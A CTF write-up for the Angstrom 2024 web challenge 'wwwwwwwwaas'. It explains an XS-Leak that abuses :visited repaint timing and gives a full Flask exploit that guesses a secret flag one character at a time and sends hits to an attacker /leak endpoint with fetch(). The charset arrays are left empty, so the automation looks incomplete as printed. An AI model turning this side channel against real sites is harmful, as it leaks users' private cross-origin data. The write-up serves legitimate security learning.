logo Menu
Home > Competition

Angstrom CTF 2024 - wwwwwwwwaas (Web) Writeup

21 October 2024

TL;DR

The Challenge

wwwwwwwwaas was an XSLeak challenge in Angstrom CTF 2024, presenting the classical 404/200 vector

app.get('/search', (req, res) => {
	if (req.cookies['admin_cookie'] !== secretvalue) {
		res.status(403).send("Unauthorized");
		return;
	}
	try {
		let query = req.query.q;
		for (let flag of flags) {
			if (flag.indexOf(query) !== -1) {
				res.status(200).send("Found");
				return;
			}
		}
		res.status(404).send("Not Found");
	} catch (e) {
		console.log(e);
		res.sendStatus(500);
	}
})

In usual scenarios, one could use a simple simple script leveraging error events to leak whether onerror/onload were triggered and forming the flag based on that

function probeError(url) {
  let script = document.createElement('script');
  script.src = url;
  script.onload = () => console.log('Onload event triggered');
  script.onerror = () => console.log('Error event triggered');
  document.head.appendChild(script);
}
// because google.com/404 returns HTTP 404, the script triggers error event
probeError('https://google.com/404');

// because google.com returns HTTP 200, the script triggers onload event
probeError('https://google.com/');

However, in this case the authors included the following headers, making it harder to use such a simpler oracle

app.use((req, res, next) => {
	res.set('X-Frame-Options', 'deny');
	res.set('X-Content-Type-Options', 'nosniff');
	res.set('Cache-Control', 'no-store');
	next()
})

X-Content-Type-Options will basically raise errors since the endpoint returns text/html as a content-type, so loading tags with that will return

Refused to execute script from 'http://localhost:21111/test' because its MIME type ('text/html') is not executable, and strict MIME type checking is enabled.

image

The Oracle

The intended solution was a bug, reported and actioned in chromium bugs, demonstrating how the leak is possible. The oracle leverages the :visited CSS selector to determine if a specific URL has been visited. By applying different styles to visited links, the browser reveals the visit status through performance differences. The process starts by defining a link with complex styles that make the browser work harder to render it

#target {
    color: white;
    background-color: white;
    outline-color: white;
}
#target:visited {
    color: #feffff;
    background-color: #fffeff;
    outline-color: #fffffe;
}

The link’s href is oscillated between the URL we want to leak and a known unvisited URL randomly generated, forcing the browser to repaint the link each time.

function generateUnvisitedUrl () {
    return 'https://' + Math.random() + '/' + Date.now();
}
.....
function startOscillatingHref(testUrl) {
    oscillateInterval = setInterval(function() {
        targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
        isPointingToBasisUrl = !isPointingToBasisUrl;
    }, 0);
}

function stopOscillatingHref() {
    clearInterval(oscillateInterval);
    targetLink.href = basisUrl;
    isPointingToBasisUrl = true;
}

The performance is measured by counting the number of requestAnimationFrame callbacks, which indicates how often the browser repaints the element. If the link is visited, it takes longer to repaint due to the extra styles applied by the :visited selector:

var tickCount = 0;
var tickRequestId;

function startCountingTicks() {
    tickRequestId = requestAnimationFrame(function tick() {
        ++tickCount;
        tickRequestId = requestAnimationFrame(tick);
    });
}

function stopCountingTicks() {
    cancelAnimationFrame(tickRequestId);
    var oldTickCount = tickCount;
    tickCount = 0;
    return oldTickCount;
}

The challenge was forked so it works without authentication, testing the author’s PoC showed some promising results when testing locally, with a local flag flag{123123}, when testing http://127.0.0.1:21111/search?q=flag

image

The Solution

This technique was used by TeamItaly in a challenge called leakynote where the automated the solution, a successful one should stably leak the flag char by char. I was too late to the CTF so unfortunately wasn’t able to solve it on time. Finally, I came up with the following automated solution

import os
from flask import Flask, render_template_string, request

app = Flask(__name__)
URL = "http://127.0.0.1:21111/"
CHARSET = "1234567890" # for local testing 
#CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
ex_html = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>XS-Leak Test</title>
    <style type="text/css">
        /* Set it up so the target link element has different colors when pointing to a
           visited vs unvisited URL. */
        #target {
            color: white;
            background-color: white;
            outline-color: white;
        }
        #target:visited {
            color: #feffff;
            background-color: #fffeff;
            outline-color: #fffffe;
        }
    </style>
</head>
<body>
<script>
    async function isVisited(url) {
        let pocw = window.open(`/poc?url=${encodeURIComponent(url)}`, 'poc');
        pocw.focus();
    }

    // Extract the fragment identifier from the URL
    let hash = window.location.hash.substring(1) || "flag{g68r|a";
    let [guess, current_guess] = hash.split('|');
    let base_url = 'search?q=flag{'; //change based on flag format
    let charset = ''.split('');

    async function exploit(current_guess) {
        let w = open(`${base_url}${guess}${current_guess}`, 'guess');
        await new Promise((resolve) => setTimeout(resolve, 1000));
        w.close();
        isVisited(`${base_url}${guess}${current_guess}`);
    }
    exploit(current_guess);
</script>
</body>
</html>
'''

poc_html = '''
<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8"/>
    <style type="text/css">
        #target {
            color: white;
            background-color: white;
            outline-color: white;
        }
        #target:visited {
            color: #feffff;
            background-color: #fffeff;
            outline-color: #fffffe;
        }
    </style>
</head>
<body>
    <div id="entryDisplay">
        Enter a URL to test for visited status:
        <input id="urlInput" type="text" size="60" value="" autofocus/>
        <button id="testButton">Test</button>
    </div>
    <script type="text/javascript">
        (function () {
            var entryDisplay = document.getElementById('entryDisplay');
            var urlInput = document.getElementById('urlInput');
            var testButton = document.getElementById('testButton');
            
            var basisUrl;
            var controlUrl;
            var experimentUrl;
            
            var targetLink;
            var controlTickCount;

            function generateUnvisitedUrl () {
                return 'https://' + Math.random() + '/' + Date.now();
            }
            
            testButton.addEventListener('click', function () {
                basisUrl = generateUnvisitedUrl();
                controlUrl = generateUnvisitedUrl();
                experimentUrl = urlInput.value;
                console.log({ experimentUrl })
                entryDisplay.remove();
                
                document.body.style.overflow = 'hidden';
                
                targetLink = document.createElement('a');
                targetLink.id = 'target';
                targetLink.href = basisUrl;
                
                var garbageText = '業雲多受片主...'.repeat(28);
                targetLink.appendChild(document.createTextNode(garbageText));
                
                targetLink.style.display = 'block';
                targetLink.style.width = '5px';
                targetLink.style.fontSize = '2px';
                targetLink.style.outlineWidth = '24px';
                targetLink.style.textAlign = 'center';
                targetLink.style.filter =
                    'contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)';
                targetLink.style.textShadow = '16px 16px 10px #fefffe';
                targetLink.style.transform = 'perspective(100px) rotateY(37deg)';
                
                document.body.appendChild(targetLink);
                
                requestAnimationFrame(function () {
                    requestAnimationFrame(function () {
                        runTestStage(false);
                    });
                });
            });
            
            function runTestStage (isExperimentStage) {
                var testUrl = isExperimentStage ? experimentUrl : controlUrl;
                startCountingTicks();
                startOscillatingHref(testUrl);
                
                setTimeout(async function () {
                    stopOscillatingHref();
                    
                    if (!isExperimentStage) {
                        controlTickCount = stopCountingTicks();
                        runTestStage(true);
                        return;
                    }
                    
                    var experimentTickCount = stopCountingTicks();
                    targetLink.remove();
                    
                    var ratio = experimentTickCount / controlTickCount;
                    console.log("RATIO", experimentTickCount, controlTickCount, ratio)
                    var likelyVisited = ratio < 0.7;
                   
                    async function sendBeacon(cond){
                        let url = opener ? opener.location.hash.substring(1) : "flag{g68r|a";
                        let [guess, current_guess] = url.split('|');
                        if(cond){
                            await fetch(`/leak?flag=${guess}${current_guess}`);
                            if (opener) {
                                opener.location.href = `/?query=${Math.random()}&ratio=${ratio}#${guess}${current_guess}|a`;
                            }
                        }
                        else {
                            let charset = ''.split('');
                            if (opener) {
                                opener.location.href = `/?query=${Math.random()}&ratio=${ratio}#${guess}|${charset[charset.indexOf(current_guess)+1]}`;
                            }
                        }
                    }
                    sendBeacon(likelyVisited);

                    document.body.style.overflow = 'visible';
                    
                    var outputDom = document.createElement('p');
                    
                    outputDom.appendChild(document.createTextNode('Result for '));
                    
                    var linkDom = document.createElement('a');
                    linkDom.href = experimentUrl;
                    linkDom.appendChild(document.createTextNode(experimentUrl));
                    outputDom.appendChild(linkDom);
                    
                    outputDom.appendChild(document.createTextNode(': likely '));
                    
                    var resultDom = document.createElement('strong');
                    resultDom.innerHTML = likelyVisited ? 'VISITED' : 'UNVISITED';
                    resultDom.style.color = likelyVisited ? 'green' : 'red';
                    outputDom.appendChild(resultDom);
                    
                    outputDom.appendChild(document.createTextNode(
                        ' (' + experimentTickCount + ' ticks vs ' +
                        controlTickCount + ' ticks; ratio = ' +
                        Math.round(ratio * 100) + '%).'));
                    
                    document.body.appendChild(outputDom);
                    
                    var retryButton = document.createElement('button');
                    retryButton.innerHTML = 'Try Another URL';
                    retryButton.addEventListener('click', function (e) {
                        location.reload();
                    });
                    document.body.appendChild(retryButton);
                    retryButton.focus();
                }, 500);
            } 
                
            var oscillateInterval;
            var isPointingToBasisUrl = true;
            function startOscillatingHref (testUrl) {
                oscillateInterval = setInterval(function () {
                    targetLink.href = isPointingToBasisUrl ? testUrl : basisUrl;
                    isPointingToBasisUrl = !isPointingToBasisUrl;
                }, 0);
            }
            function stopOscillatingHref () {
                clearInterval(oscillateInterval);
                targetLink.href = basisUrl;
                isPointingToBasisUrl = true;
            }

            var tickCount = 0;
            var tickRequestId;
            function startCountingTicks () {
                tickRequestId = requestAnimationFrame(function () {
                    ++tickCount;
                    startCountingTicks();
                });
            }
            function stopCountingTicks () {
                cancelAnimationFrame(tickRequestId);
                var oldTickCount = tickCount;
                tickCount = 0;
                return oldTickCount;
            }
        })();
        
        setTimeout(function () {
            var testButton = document.getElementById('testButton');
            testButton.click();
        }, 1000);
   
    </script>
</body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(ex_html, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/poc')
def poc():
    args = request.args.get('url')
    return render_template_string(poc_html, url=args, CHALLENGE_URL=URL,CHARSET=CHARSET)

@app.route('/leak')
def leak():
    flag = request.args.get('flag')
    if flag[-1] == '}':
        print(flag)
    return ""

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=1337)

Running this locally leaks the flag.

image

Written By

Mohamed Al Oraimi